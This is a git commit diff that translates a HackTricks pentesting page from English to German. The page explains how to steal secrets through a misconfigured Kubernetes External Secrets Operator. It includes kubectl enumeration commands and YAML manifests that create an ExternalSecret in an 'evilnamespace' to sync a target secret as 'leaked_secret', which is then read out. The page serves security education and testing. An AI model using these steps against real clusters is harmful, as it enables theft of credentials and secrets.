mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 07:25:51 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,113 +1,101 @@
|
||||
# External Secret Operator
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**Der ursprüngliche Autor dieser Seite ist** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
|
||||
Diese Seite gibt einige Hinweise, wie Sie Geheimnisse von einem falsch konfigurierten ESO oder einer Anwendung stehlen können, die ESO verwendet, um ihre Geheimnisse zu synchronisieren.
|
||||
|
||||
## Disclaimer
|
||||
|
||||
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
|
||||
Die unten gezeigte Technik kann nur funktionieren, wenn bestimmte Umstände erfüllt sind. Zum Beispiel hängt es von den Anforderungen ab, die erforderlich sind, um ein Geheimnis in einem Namespace zu synchronisieren, den Sie besitzen / kompromittiert haben. Sie müssen es selbst herausfinden.
|
||||
|
||||
## Prerequisites
|
||||
## Voraussetzungen
|
||||
|
||||
1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
|
||||
2. Read access on at least ExternalSecret at cluster level
|
||||
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
|
||||
1. Ein Fuß in einem Kubernetes / OpenShift-Cluster mit Administratorrechten in einem Namespace
|
||||
2. Lesezugriff auf mindestens ExternalSecret auf Cluster-Ebene
|
||||
3. Herausfinden, ob erforderliche Labels / Annotationen oder Gruppenmitgliedschaften benötigt werden, die ESO erlauben, Ihr Geheimnis zu synchronisieren. Wenn Sie Glück haben, können Sie beliebige definierte Geheimnisse frei stehlen.
|
||||
|
||||
### Gathering information about existing ClusterSecretStore
|
||||
|
||||
Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
|
||||
### Informationen über vorhandene ClusterSecretStore sammeln
|
||||
|
||||
Vorausgesetzt, Sie haben einen Benutzer, der genügend Rechte hat, um diese Ressource zu lesen; beginnen Sie damit, zuerst die vorhandenen _**ClusterSecretStores**_ aufzulisten.
|
||||
```sh
|
||||
kubectl get ClusterSecretStore
|
||||
```
|
||||
### ExternalSecret Aufzählung
|
||||
|
||||
### ExternalSecret enumeration
|
||||
|
||||
Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
|
||||
|
||||
Angenommen, Sie haben einen ClusterSecretStore mit dem Namen _**mystore**_ gefunden. Fahren Sie fort, indem Sie die zugehörigen externalsecret auflisten.
|
||||
```sh
|
||||
kubectl get externalsecret -A | grep mystore
|
||||
```
|
||||
_Diese Ressource ist namespaced, also füge die -A-Option hinzu, um in allen Namespaces zu suchen, es sei denn, du weißt bereits, nach welchem Namespace du suchen sollst._
|
||||
|
||||
_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
|
||||
|
||||
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
|
||||
|
||||
Du solltest eine Liste der definierten externalsecret erhalten. Angenommen, du hast ein externalsecret-Objekt namens _**mysecret**_ gefunden, das im Namespace _**mynamespace**_ definiert und verwendet wird. Sammle ein wenig mehr Informationen darüber, welche Art von Geheimnis es enthält.
|
||||
```sh
|
||||
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
|
||||
```
|
||||
|
||||
### Assembling the pieces
|
||||
|
||||
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
|
||||
|
||||
Von hier aus können Sie den Namen eines oder mehrerer Geheimnisse (wie im Secret-Ressource definiert) erhalten. Sie erhalten eine Ausgabe ähnlich wie:
|
||||
```yaml
|
||||
kind: ExternalSecret
|
||||
metadata:
|
||||
annotations:
|
||||
...
|
||||
labels:
|
||||
...
|
||||
annotations:
|
||||
...
|
||||
labels:
|
||||
...
|
||||
spec:
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
...
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
...
|
||||
```
|
||||
Bisher haben wir:
|
||||
|
||||
So far we got:
|
||||
|
||||
- Name a ClusterSecretStore
|
||||
- Name of an ExternalSecret
|
||||
- Name of the secret
|
||||
|
||||
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
|
||||
- Name eines ClusterSecretStore
|
||||
- Name eines ExternalSecret
|
||||
- Name des Secrets
|
||||
|
||||
Jetzt, da wir alles haben, was wir brauchen, können Sie ein ExternalSecret erstellen (und gegebenenfalls einen neuen Namespace patchen/erstellen, um die Voraussetzungen zu erfüllen, die erforderlich sind, um Ihr neues Secret synchronisiert zu bekommen):
|
||||
```yaml
|
||||
kind: ExternalSecret
|
||||
metadata:
|
||||
name: myexternalsecret
|
||||
namespace: evilnamespace
|
||||
name: myexternalsecret
|
||||
namespace: evilnamespace
|
||||
spec:
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
refreshInterval: 30s
|
||||
secretStoreRef:
|
||||
kind: ClusterSecretStore
|
||||
name: mystore
|
||||
target:
|
||||
creationPolicy: Owner
|
||||
deletionPolicy: Retain
|
||||
name: leaked_secret
|
||||
data:
|
||||
- remoteRef:
|
||||
conversionStrategy: Default
|
||||
decodingStrategy: None
|
||||
key: SECRET_KEY
|
||||
secretKey: SOME_PASSWORD
|
||||
refreshInterval: 30s
|
||||
secretStoreRef:
|
||||
kind: ClusterSecretStore
|
||||
name: mystore
|
||||
target:
|
||||
creationPolicy: Owner
|
||||
deletionPolicy: Retain
|
||||
name: leaked_secret
|
||||
```
|
||||
|
||||
```yaml
|
||||
kind: Namespace
|
||||
metadata:
|
||||
annotations:
|
||||
required_annotation: value
|
||||
other_required_annotation: other_value
|
||||
labels:
|
||||
required_label: somevalue
|
||||
other_required_label: someothervalue
|
||||
name: evilnamespace
|
||||
annotations:
|
||||
required_annotation: value
|
||||
other_required_annotation: other_value
|
||||
labels:
|
||||
required_label: somevalue
|
||||
other_required_label: someothervalue
|
||||
name: evilnamespace
|
||||
```
|
||||
|
||||
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
|
||||
|
||||
Nach ein paar Minuten, wenn die Synchronisationsbedingungen erfüllt sind, sollten Sie in der Lage sein, das geleakte Geheimnis in Ihrem Namespace zu sehen.
|
||||
```sh
|
||||
kubectl get secret leaked_secret -o yaml
|
||||
```
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
{{#ref}}
|
||||
https://external-secrets.io/latest/
|
||||
@@ -116,7 +104,3 @@ https://external-secrets.io/latest/
|
||||
{{#ref}}
|
||||
https://github.com/external-secrets/external-secrets
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user